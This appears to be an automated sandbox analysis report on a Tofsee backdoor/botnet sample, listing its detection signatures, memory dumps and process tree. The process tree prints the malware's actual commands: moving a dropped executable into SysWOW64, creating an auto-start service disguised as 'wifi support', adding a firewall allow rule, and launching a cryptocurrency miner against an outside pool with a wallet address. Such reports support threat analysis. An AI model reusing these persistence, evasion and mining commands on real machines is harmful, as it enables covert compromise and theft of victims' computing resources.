Overview

overview

10

Static

static

0c3080ef33...32.exe

windows7_x64

10

0c3080ef33...32.exe

windows10_x64

10

Analysis

  • max time kernel
    141s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    09/11/2020, 21:16

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General

  • Target
    0c3080ef33448167fc2b858db5ec7b2e4705cb12ca57119088892459ea0cc832.exe
  • Size 14.7MB
  • Sample201109-e8d9t7nasa
  • SHA256 0c3080ef33448167fc2b858db5ec7b2e4705cb12ca57119088892459ea0cc832
  • MD5 SHA1 SHA512
Score
10/10
tofseeevasionpersistencetrojan

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 6 IoCs
    persistence
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0c3080ef33448167fc2b858db5ec7b2e4705cb12ca57119088892459ea0cc832.exe
    "C:\Users\Admin\AppData\Local\Temp\0c3080ef33448167fc2b858db5ec7b2e4705cb12ca57119088892459ea0cc832.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1756
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\rofjllei\
      2⤵
        PID:1328
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\mdljtovj.exe" C:\Windows\SysWOW64\rofjllei\
        2⤵
          PID:1532
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create rofjllei binPath= "C:\Windows\SysWOW64\rofjllei\mdljtovj.exe /d\"C:\Users\Admin\AppData\Local\Temp\0c3080ef33448167fc2b858db5ec7b2e4705cb12ca57119088892459ea0cc832.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:900
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description rofjllei "wifi internet conection"
            2⤵
              PID:696
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start rofjllei
              2⤵
                PID:984
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                • Modifies service
                PID:640
            • C:\Windows\SysWOW64\rofjllei\mdljtovj.exe
              C:\Windows\SysWOW64\rofjllei\mdljtovj.exe /d"C:\Users\Admin\AppData\Local\Temp\0c3080ef33448167fc2b858db5ec7b2e4705cb12ca57119088892459ea0cc832.exe"
              1⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:1588
              • C:\Windows\SysWOW64\svchost.exe
                svchost.exe
                2⤵
                • Deletes itself
                • Drops file in System32 directory
                • Modifies service
                • Suspicious use of SetThreadContext
                • Modifies data under HKEY_USERS
                • Suspicious use of WriteProcessMemory
                PID:1520
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1600

            Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

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                  Downloads

                  memory/1520-22-0x00000000000C0000-0x00000000000D5000-memory.dmp
                  Download

                  memory/1520-30-0x00000000002E0000-0x00000000002E7000-memory.dmp
                  Download

                  memory/1520-29-0x00000000059F0000-0x0000000005DFB000-memory.dmp
                  Download

                  memory/1520-28-0x0000000000290000-0x0000000000295000-memory.dmp
                  Download

                  memory/1520-26-0x00000000001B0000-0x00000000001B6000-memory.dmp
                  Download

                  memory/1520-27-0x00000000001C0000-0x00000000001D0000-memory.dmp
                  Download

                  memory/1520-24-0x00000000000C0000-0x00000000000D5000-memory.dmp
                  Download

                  memory/1520-25-0x0000000001CA0000-0x0000000001EAF000-memory.dmp
                  Download

                  memory/1588-21-0x00000000029A0000-0x00000000029B1000-memory.dmp
                  Download

                  memory/1588-20-0x00000000028A8000-0x00000000028B9000-memory.dmp
                  Download

                  memory/1600-31-0x00000000000F0000-0x00000000001E1000-memory.dmp
                  Download

                  memory/1600-32-0x00000000000F0000-0x00000000001E1000-memory.dmp
                  Download

                  memory/1756-0-0x0000000002909000-0x000000000290A000-memory.dmp
                  Download

                  memory/1756-1-0x00000000029F0000-0x0000000002A01000-memory.dmp
                  Download